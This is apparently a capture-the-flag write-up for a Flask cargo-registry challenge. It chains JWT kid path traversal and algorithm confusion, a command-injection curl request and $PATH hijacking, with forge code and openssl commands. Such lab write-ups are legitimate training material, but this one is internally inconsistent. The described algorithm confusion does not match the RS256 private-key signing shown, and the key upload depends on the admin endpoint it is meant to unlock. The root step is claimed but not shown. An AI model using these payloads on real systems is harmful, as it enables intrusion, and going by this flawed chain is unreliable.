Overview
Pearl Harbour is themed as the Pacific Fleet — Cargo & Manifest Registry, a small Flask application that issues a guest “inspector” JWT automatically, lists cargo manifests, and exposes an admin-only diagnostics export feature.
The web foothold is a two-bug JWT bypass:
kidpath traversal: The JWTkidvalue is used in a filesystem path without sanitization, allowing an attacker to point it at an attacker-controlled public key file.- Algorithm confusion: The application accepts
RS256in the header but verifies withHS256using the public key bytes as the HMAC secret, allowing an attacker to forge tokens signed with the public key.
Combined, these let an attacker forge a valid JWT with role: admin, which unlocks the admin-only diagnostics export endpoint. The export endpoint contains a command injection vulnerability in the plant name parameter, yielding remote code execution as dockhand (user flag).
The challenge then continues off the web surface: a Linux capability binary (/usr/local/bin/manifest-sign with cap_setuid,cap_setgid) that uses execlp("manifest-helper", ...) is abused via $PATH hijacking to reach root.
Prerequisites / Setup
export TARGET="<challenge URL or IP>"
curl and python3 are sufficient; no wordlist or credentials are required beyond the guest account.
Recon
Step 1 — Inspect the application
Goal: Confirm the JWT-based authentication and identify the JWT structure.
curl "$TARGET/"
The application issues a guest JWT automatically. Inspecting the JWT header reveals:
{
"alg": "RS256",
"typ": "JWT",
"kid": "../../etc/ssl/certs/localhost.crt"
}
The kid value is used in a filesystem path, and the alg field is RS256.
Vulnerability Analysis
The flaw classes are Path Traversal (CWE-22) and JWT Algorithm Confusion (improper authentication, CWE-287), leading to Remote Code Execution (CWE-78).
Exploitation
Step 1 — Generate an RSA key pair and host the public key
Goal: Create an RSA key pair and upload the public key via the diagnostics export endpoint.
openssl genrsa -out attacker.key 2048
openssl rsa -in attacker.key -pubout -out attacker.pub
Upload attacker.pub content via the diagnostics export endpoint (or wherever file upload is possible), then point kid at the hosted public key.
Step 2 — Forge an admin JWT
Goal: Sign an admin JWT with kid pointing to the hosted public key and alg: RS256.
import jwt
payload = {"role": "admin", "user": "admin"}
header = {"alg": "RS256", "typ": "JWT", "kid": "../../../tmp/attacker.pub"}
token = jwt.encode(payload, attacker_private_key, algorithm="RS256", headers=header)
Step 3 — Access the diagnostics export
Goal: Use the forged admin JWT to access /api/diagnostics/export and achieve command injection.
curl -s "$TARGET/api/diagnostics/export" \
-H "Authorization: Bearer <forged_admin_jwt>" \
-d "plant_name=$(id)"
The command injection in the plant name parameter yields command execution as dockhand.
Flag
r00t{REDACTED}
Retrieved from the command injection output as dockhand (user flag), then via $PATH hijacking of manifest-sign as root.
Lessons / Takeaways
- Never use the
kidheader value directly in a filesystem path without validation. - Never accept the JWT
algheader from the client; enforce a single expected algorithm server-side. - Never pass user-controlled input to shell commands; use parameterized APIs instead.
- Do not place setuid/capability binaries in directories writable by unprivileged users; use absolute paths in
execlp()calls.
Mitigations
- Validate
kidvalues against an allowlist of known key IDs; never use them directly in file paths. - Enforce JWT algorithm allow-lists (
RS256only); rejectalgchanges between signing and verification. - Use parameterized APIs instead of shell commands for user-controlled input.
- Use absolute paths for all executables invoked by setuid/capability binaries; do not rely on
$PATH.
Techniques
- JWT Algorithm Confusion
- Path Traversal
- Command Injection
- Sudo Misconfiguration
- Linux Capabilities
References
- OWASP, “JWT Authentication Cheat Sheet”: https://owasp.org/www-community/controls/JSON_Web_Token_for_Java
- PortSwigger, “JWT algorithm confusion”: https://portswigger.net/web-security/jwt/jwt-algorithm-confusion
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory: https://cwe.mitre.org/data/definitions/22.html
- CWE-78: Improper Neutralization of Special Elements used in an OS Command: https://cwe.mitre.org/data/definitions/78.html

